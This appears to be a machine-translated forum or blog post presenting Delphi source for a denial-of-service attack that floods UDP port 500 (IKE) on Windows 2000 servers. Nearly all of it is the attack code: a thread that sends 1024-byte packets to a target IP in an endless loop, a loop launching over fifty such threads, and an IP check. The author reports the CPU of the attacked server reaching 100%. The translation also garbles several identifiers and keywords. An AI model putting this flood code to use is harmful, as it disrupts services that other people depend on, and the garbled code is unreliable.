A few days ago, I saw that there is a 500-port of the Win2000 server to the FLOOD attack defense is not very good. I tested it. I found it. When I sent a lot of packages for the UDP500 of the Win2000 server, the CPU rate of the Win2000 server reached 100%, and the reaction is immediately slow.
The procedure is as follows:
Threading program: // thread execution code, create a thread, please use the menu New one THEADOBJECT
Uses winsock;
Procedure Udpdos.execute; Varwsa: TWSADATA; S: TSOCKET; SOCKIN: TSOCKADDRIN; BUF: Array [0..1023] of byte; i: integer; dip: string; begin {place thread code here} // Win2000 Using IKE (UDP 500) DOS Attack // BY Yang Shun FreeOnterminate: = True;
// destip is on the main form, it is an object to attack, and it is possible to declare a variable in the master form: = destip;
// Fill buf for i: = 0 to 1023 DO BUF [i]: = 97;
// Initialize Socket2 WSAStartup ($ 101, WSA);
// Create UDP Socket S: = Socket (AF_INET, SOCK_DGRAM, IPPROTO_UDP); Sockin.sin_Family: = AF_INET; SOCKIN.SIN_PORT: = HTONS (IKE); Sockin.sin_Addr.s_addr: = inet_addr (Pchar (DIP)); while True Do Begin if Self.Terminated the Break;
// Send DativityTo (S, BUF, 1024, 0, Sockin, Sizeof (Sockin)); End; CloseSocket (s); wsacleanup;
END;
Main form, call
For i: = 0 to 50 do beg udpdos.create (false); // Create more than 50 threads, attacking END;
By the way, check if the IP entered by the user is legal, one sentence is
Uses Winsock
IF inet_addr (pchar (destip)) = INADDR_NONE THEN BEGIN SHOWMESAGE ('Enter IP Address Errors'); EXIT; END;